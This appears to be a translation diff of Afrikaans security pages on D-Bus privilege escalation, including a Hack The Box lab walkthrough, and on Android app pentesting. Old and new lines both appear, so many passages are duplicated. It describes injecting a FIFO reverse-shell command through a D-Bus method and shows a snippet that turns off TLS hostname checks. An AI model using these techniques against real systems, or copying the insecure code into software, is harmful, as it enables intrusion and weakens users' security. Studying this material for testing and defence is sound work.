Dienste op D-Bus word gedefinieer deur die **objekte** en **interfaces** wat hulle blootstel. Objekte kan vergelyk word met klasinstansies in standaard OOP tale, met elke instansie uniek geïdentifiseer deur 'n **objekpad**. Hierdie pad, soortgelyk aan 'n lêerstelselpunt, identifiseer elke objek wat deur die diens blootgestel word. 'n Sleutelinterface vir navorsingsdoeleindes is die **org.freedesktop.DBus.Introspectable** interface, wat 'n enkele metode, Introspect, bevat. Hierdie metode keer 'n XML voorstelling van die objek se ondersteunende metodes, seine, en eienskappe terug, met 'n fokus hier op metodes terwyl eienskappe en seine weggelaat word.
Vir kommunikasie met die D-Bus interface, is twee gereedskap gebruik: 'n CLI-gereedskap genaamd **gdbus** vir maklike aanroep van metodes wat deur D-Bus in skripte blootgestel word, en [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), 'n Python-gebaseerde GUI-gereedskap wat ontwerp is om die dienste wat op elke bus beskikbaar is, te enumerate en om die objekte wat binne elke diens bevat is, te vertoon.
```bash
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
```
#### Verbindinge
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Wanneer 'n proses 'n verbinding met 'n bus opstel, ken die bus 'n spesiale busnaam aan die verbinding toe wat _unieke verbindingsnaam_ genoem word. Busname van hierdie tipe is onveranderlik—dit is gewaarborg dat hulle nie sal verander solank die verbinding bestaan nie—en, belangriker, hulle kan nie hergebruik word gedurende die bus se lewensduur nie. Dit beteken dat geen ander verbinding met daardie bus ooit so 'n unieke verbindingsnaam toegeken sal word nie, selfs al sluit dieselfde proses die verbinding met die bus en skep 'n nuwe een. Unieke verbindingsname is maklik herkenbaar omdat hulle begin met die—andersins verbode—dubbelepuntkarakter.
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Wanneer 'n proses 'n verbinding met 'n bus opstel, ken die bus 'n spesiale busnaam aan die verbinding toe wat _unieke verbindingsnaam_ genoem word. Busname van hierdie tipe is onveranderlik—dit is gewaarborg dat hulle nie sal verander solank die verbinding bestaan nie—en, meer belangrik, hulle kan nie hergebruik word gedurende die bus se lewensduur nie. Dit beteken dat geen ander verbinding met daardie bus ooit so 'n unieke verbindingsnaam toegeken sal word nie, selfs al sluit dieselfde proses die verbinding met die bus en skep 'n nuwe een. Unieke verbindingsname is maklik herkenbaar omdat hulle begin met die—andersins verbode—dubbelepuntkarakter.
### Diensobjek Inligting
@ -152,7 +152,7 @@ org.freedesktop.DBus.Properties interface - - -
```
Let wel die metode `.Block` van die interface `htb.oouch.Block` (die een waarin ons belangstel). Die "s" van die ander kolomme kan beteken dat dit 'n string verwag.
### Monitor/Vang Koppelvlak
### Monitor/Vang Interface
Met genoeg voorregte (net `send_destination` en `receive_sender` voorregte is nie genoeg nie) kan jy **'n D-Bus kommunikasie monitor**.
@ -231,9 +231,9 @@ As gebruiker **qtc binne die gasheer "oouch" van HTB** kan jy 'n **onverwagte D-
</busconfig>
```
Let op van die vorige konfigurasie dat **jy die gebruiker `root` of `www-data` moet wees om inligting te stuur en te ontvang** via hierdie D-BUS kommunikasie.
Let wel dat jy **die gebruiker `root` of `www-data` moet wees om inligting te stuur en te ontvang** via hierdie D-BUS kommunikasie.
As gebruiker **qtc** binne die docker houer **aeb4525789d8** kan jy 'n paar dbus verwante kode in die lêer _/code/oouch/routes.py._ vind. Dit is die interessante kode:
As gebruiker **qtc** binne die docker houer **aeb4525789d8** kan jy 'n paar dbus-verwante kode in die lêer _/code/oouch/routes.py._ vind. Dit is die interessante kode:
```python
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
@ -262,7 +262,7 @@ r = sd_bus_add_object_vtable(bus,
block_vtable,
NULL);
```
Ook, in lyn 57 kan jy vind dat **die enigste metode geregistreer** vir hierdie D-Bus kommunikasie genoem word `Block`(_**Daarom gaan die payloads in die volgende afdeling na die diensobjek `htb.oouch.Block`, die koppelvlak `/htb/oouch/Block` en die metodenaam `Block` gestuur word**_):
Ook, in lyn 57 kan jy vind dat **die enigste metode geregistreer** vir hierdie D-Bus kommunikasie `Block` genoem word (_**Daarom gaan die payloads in die volgende afdeling na die diensobjek `htb.oouch.Block`, die koppelvlak `/htb/oouch/Block` en die metodenaam `Block` gestuur word**_):
```c
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
```
@ -284,12 +284,12 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou
```
- `dbus-send` is 'n hulpmiddel wat gebruik word om boodskappe na “Message Bus” te stuur.
- Message Bus 'n sagteware wat deur stelsels gebruik word om kommunikasie tussen toepassings maklik te maak. Dit is verwant aan Message Queue (boodskappe is in volgorde) maar in Message Bus word die boodskappe in 'n subskripsiemodel gestuur en ook baie vinnig.
- “-system” etiket word gebruik om te noem dat dit 'n stelselboodskap is, nie 'n sessieboodskap nie (per standaard).
- “print-reply” etiket word gebruik om ons boodskap toepaslik te druk en enige antwoorde in 'n menslike leesbare formaat te ontvang.
- “-system” etiket word gebruik om te noem dat dit 'n stelselsboodskap is, nie 'n sessieboodskap nie (per standaard).
- “print-reply” etiket word gebruik om ons boodskap toepaslik te druk en ontvang enige antwoorde in 'n menslike leesbare formaat.
- “dest=Dbus-Interface-Block” Die adres van die Dbus-koppelvlak.
- “string:” Tipe boodskap wat ons wil stuur na die koppelvlak. Daar is verskeie formate om boodskappe te stuur soos dubbel, bytes, booleans, int, objpath. Van hierdie, is die “object path” nuttig wanneer ons 'n pad van 'n lêer na die Dbus-koppelvlak wil stuur. Ons kan 'n spesiale lêer (FIFO) in hierdie geval gebruik om 'n opdrag na die koppelvlak te stuur in die naam van 'n lêer. “string:;” Dit is om die object path weer aan te roep waar ons die FIFO reverse shell lêer/opdrag plaas.
- “string:” Tipe boodskap wat ons wil stuur na die koppelvlak. Daar is verskeie formate om boodskappe te stuur soos dubbel, bytes, booleans, int, objpath. Van hierdie, is die “object path” nuttig wanneer ons 'n pad van 'n lêer na die Dbus-koppelvlak wil stuur. Ons kan 'n spesiale lêer (FIFO) in hierdie geval gebruik om 'n opdrag na die koppelvlak te stuur in die naam van 'n lêer. “string:;” Dit is om die objekpad weer aan te roep waar ons die FIFO omgekeerde skulp lêer/opdrag plaas.
_Note dat in `htb.oouch.Block.Block`, die eerste deel (`htb.oouch.Block`) verwys na die diensobjek en die laaste deel (`.Block`) verwys na die metode naam._
_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._
### C code
```c:d-bus_server.c
@ -451,13 +451,13 @@ sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
### uptux.py
* Skrywer: @initstring [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
* Slegs Python-skrip wat soek na *skryfbare* pades in systemd-eenhede **en** oormatig permissiewe D-Bus beleid lêers (bv. `send_destination="*"`).
* Slegs Python-skrip wat soek na *skryfbare* paden in systemd-eenhede **en** oormatig permissiewe D-Bus beleid lêers (bv. `send_destination="*"`).
* Vinnige gebruik:
```bash
python3 uptux.py -n # voer alle kontroles uit maar skryf nie 'n loglêer nie
python3 uptux.py -d # aktiveer gedetailleerde foutopsporing-uitvoer
python3 uptux.py -d # aktiveer gedetailleerde foutopsporing
```
* Die D-Bus-module soek die direkteure hieronder en beklemtoon enige diens wat deur 'n normale gebruiker gespoof of gehuurm kan word:
* Die D-Bus module soek die direkteure hieronder en beklemtoon enige diens wat deur 'n normale gebruiker gespoof of gehuurm kan word:
* `/etc/dbus-1/system.d/` en `/usr/share/dbus-1/system.d/`
* `/etc/dbus-1/system-local.d/` (verkoper oorskrywing)
@ -465,7 +465,7 @@ python3 uptux.py -d # aktiveer gedetailleerde foutopsporing-uitvoer
## Opmerklike D-Bus Privilege-Eskalasie Foute (2024-2025)
Om 'n oog te hou op onlangs gepubliseerde CVE's help om soortgelyke onveilige patrone in pasgemaakte kode op te spoor. Die volgende hoë-impak plaaslike EoP-probleme spruit almal uit ontbrekende outentisering/autorisasie op die **stelsel bus**:
Om 'n oog te hou op onlangs gepubliseerde CVE's help om soortgelyke onveilige patrone in pasgemaakte kode op te spoor. Die volgende hoë-impak plaaslike EoP probleme spruit almal uit ontbrekende outentisering/autorisasie op die **stelsel bus**:
| Jaar | CVE | Komponent | Wortel Oorsaak | Een-Liner PoC |
|------|-----|-----------|----------------|----------------|
@ -491,7 +491,7 @@ grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/
* Vereis Polkit vir gevaarlike metodes selfs *root* proxies moet die *oproeper* PID aan `polkit_authority_check_authorization_sync()` oorhandig in plaas van hul eie.
* Laat voorregte val in langlopende helpers (gebruik `sd_pid_get_owner_uid()` om name ruimtes te verander na verbinding met die bus).
* As jy nie 'n diens kan verwyder nie, beperk dit ten minste tot 'n toegewyde Unix-groep en beperk toegang in sy XML-beleid.
* Blou-span: aktiveer volgehoue vang van die stelsel bus met `busctl capture --output=/var/log/dbus_$(date +%F).pcap` en voer in Wireshark in vir anomalie opsporing.
* Blou-span: aktiveer volgehoue vang van die stelsel bus met `busctl capture --output=/var/log/dbus_$(date +%F).pcap` en invoer in Wireshark vir anomalie opsporing.
---

View File

@ -13,18 +13,18 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Dit is die hoofgereedskap wat jy nodig het om met 'n android toestel (geëmuleer of fisies) te verbind.\
**ADB** laat jou toe om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut kan die **kopieer** van lêers in beide rigtings, **installasie** en **verwydering** van toepassings, **uitvoering** van skulpopdragte, **rugsteun** van data, **lees** van logs, onder andere funksies, moontlik maak.
**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut is in staat om **lêers** in beide rigtings te **kopieer**, **toepassings** te **installeer** en **verwyder**, **skilopdragte** uit te voer, **data** te **rugsteun**, **logs** te **lees**, onder andere funksies.
Kyk na die volgende lys van [**ADB Opdragte**](adb-commands.md) om te leer hoe om adb te gebruik.
## Smali
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te compileer.\
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te compileer](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te **hercompileer**](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
## Ander interessante truuks
- [Spoofing jou ligging in die Play Store](spoofing-your-location-in-play-store.md)
- [Spoofing jou ligging in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-gebaseerde nie-root bevoorregte toegang)](shizuku-privileged-api.md)
- [Eksploitering van Onveilige In-App Opdateringsmeganismes](insecure-in-app-update-rce.md)
- **Laai APK's af**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
@ -38,7 +38,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Voeg alle splits en basis apks saam met [APKEditor](https://github.com/REAndroid/APKEditor):
- Kombineer alle splits en basis apks met [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -64,27 +64,27 @@ Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **
**Firebase**
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat FIrebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg gekonfigureer is. [Meer inligting oor wat FIrebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basiese begrip van die toepassing - Manifest.xml, strings.xml
Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskw vulnerabilities onthul**. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer uitbreiding na .zip te hernoem en dit dan uit te pak.
Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskw vulnerabilities onthul**. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer se uitbreiding na .zip te hernoem en dit dan uit te pak.
**Kw vulnerabilities** geïdentifiseer uit die **Manifest.xml** sluit in:
**Kw vulnerabilities** wat uit die **Manifest.xml** geïdentifiseer is, sluit in:
- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko in omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde databack-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
- **Netwerk Sekuriteit**: Pasgemaakte netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer ingestel is, stel 'n risiko in omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet ingestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde data-back-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
- **Netwerk Sekuriteit**: Aangepaste netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
- **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut.
- **Inhoud Verskaffers en LêerVerskaffers**: Blootgestelde inhoud verskaffers kan ongeoorloofde toegang of wysiging van data toelaat. Die konfigurasie van LêerVerskaffers moet ook ondersoek word.
- **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesifieke aandag aan hoe URL skemas bestuur word vir invoer kw vulnerabilities.
- **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoerkw vulnerabilities.
- **SDK Weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut dui die ondersteunde Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes vir sekuriteitsredes te ondersteun nie.
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, pasgemaakte skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, aangepaste skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
### Tapjacking
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscures, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
In werklikheid, dit is **blindings die gebruiker van weet dat hulle eintlik aksies op die slagoffer app uitvoer**.
Vind meer inligting in:
@ -95,9 +95,9 @@ tapjacking.md
### Taak Hijacking
'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak Hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing gelanseer word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
'n **aktiwiteit** met die **`launchMode`** ingestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing gelanseer word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
Meer info in:
Meer inligting in:
{{#ref}}
android-task-hijacking.md
@ -107,12 +107,12 @@ android-task-hijacking.md
**Interne Stoor**
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat hulle **gecreëer** het, **toeganklik** te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toestaan** dat lêers tussen verskillende toepassings **gedeel** word. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat hulle **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toestaan** dat lêers tussen verskillende toepassings **gedeel** kan word. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
1. **Statiese Analise:**
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel lêers blootstel aan** **onbedoelde of ongeoorloofde toegang**.
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel** lêers aan **onbedoelde of ongeoorloofde toegang** blootstel.
2. **Dinamiese Analise:**
- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, gestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, ingestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
**Eksterne Stoor**
@ -122,10 +122,10 @@ Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaart, moet sekere voo
- Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry.
2. **Sekuriteitskwesties**:
- Gegewe die maklike toegang, word dit aanbeveel **om sensitiewe inligting nie op eksterne stoor te stoor nie**.
- Eksterne stoor kan verwyder of deur enige toepassing toegang verkry, wat dit minder veilig maak.
- Eksterne stoor kan verwyder of deur enige toepassing benader word, wat dit minder veilig maak.
3. **Hantering van Data van Eksterne Stoor**:
- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron is.
- Dit word sterk ontmoedig om uitvoerbare of klas lêers op eksterne stoor vir dinamiese laai te stoor.
- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom.
- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor.
- As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf.
Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -142,14 +142,14 @@ Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt
**Aanvaar Alle Sertifikate**
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate selfs al stem die gasheernaam nie ooreen met lyne kode soos die volgende nie:
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
'n Goeie manier om dit te toets, is om te probeer om die verkeer te vang met 'n proxy soos Burp sonder om Burp CA binne die toestel te magtig. Jy kan ook met Burp 'n sertifikaat vir 'n ander hostname genereer en dit gebruik.
### Gebroke Kryptografie
### Gebroke Kriptografie
**Swak Sleutelbestuurproses**
@ -157,11 +157,11 @@ Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer
**Gebruik van Onveilige en/of Verouderde Algoritmes**
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat **brute-force** **bestand** is, met sout gebruik word.
### Ander kontroles
- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswerk vir aanvallers moeilik te maak.
- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswerk vir aanvallers te bemoeilik.
- As die app sensitief is (soos bankapps), moet dit sy **eie kontroles uitvoer om te sien of die mobiele toestel ge-root is** en dienooreenkomstig optree.
- As die app sensitief is (soos bankapps), moet dit nagaan of 'n **emulator** gebruik word.
- As die app sensitief is (soos bankapps), moet dit **sy eie integriteit nagaan voordat dit uitgevoer** word om te kyk of dit gewysig is.
@ -232,7 +232,7 @@ Jy kan selfs **die logs van jou toepassing** op die web sien en deur **adb** ver
![](<../../images/image (831).png>)
Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
### Plaaslike Dinamiese Analise
@ -245,17 +245,17 @@ Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening skep. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
- [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie).
> [!TIP]
> Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus klein skerms indien moontlik.
Om **google dienste** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie van die volgende beeld klik:
Om **Google dienste** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie van die volgende beeld klik:
![](<../../images/image (277).png>)
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die gereedskap gaan verbind).
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die hulpmiddels gaan verbind).
#### Gebruik 'n fisiese toestel
@ -268,13 +268,13 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r
5. Gaan terug en jy sal die **Ontwikkelaar opsies** vind.
> Sodra jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen om dit te probeer en te ondersoek wat dit doen, hoe dit werk en om gemaklik daarmee te raak.\
> Ek sal voorstel om **hierdie aanvanklike dinamiese analise uit te voer met MobSF dinamiese analise + pidcat**, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF **'n klomp** **interessante** **data** vasvang wat jy later kan hersien.
> Ek sal voorstel om **hierdie aanvanklike dinamiese analise te doen met MobSF dinamiese analise + pidcat**, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF **'n klomp** **interessante** **data** vasvang wat jy later kan hersien.
### Onbedoelde Data Lek
**Logging**
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die gereedskap [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
> [!WARNING]
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan verkry**. So toepassings kan nie ander apps se logs toegang nie.\
@ -286,26 +286,26 @@ Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in
**Crash Logs**
As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om logs op crashes te log, en as logs oor die netwerk oorgedra moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om logs op crashes te log, en as logs oor die netwerk oorgedra moet word, moet jy seker maak dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
As pentester, **probeer om na hierdie logs te kyk**.
**Analitiese Data Gestuur Aan 3de Partye**
**Analytiese Data Gestuur Aan 3de Partye**
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word.
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word.
### SQLite DB's
Die meeste toepassings sal **interne SQLite databasisse** gebruik om inligting te stoor. Tydens die pentest, kyk na die **databasisse** wat geskep is, die name van **tabelle** en **kolomme** en al die **data** wat gestoor is, want jy kan **sensitiewe inligting** vind (wat 'n kwesbaarheid sou wees).\
Databasisse moet geleë wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases`
Databasisse moet geleë wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases`.
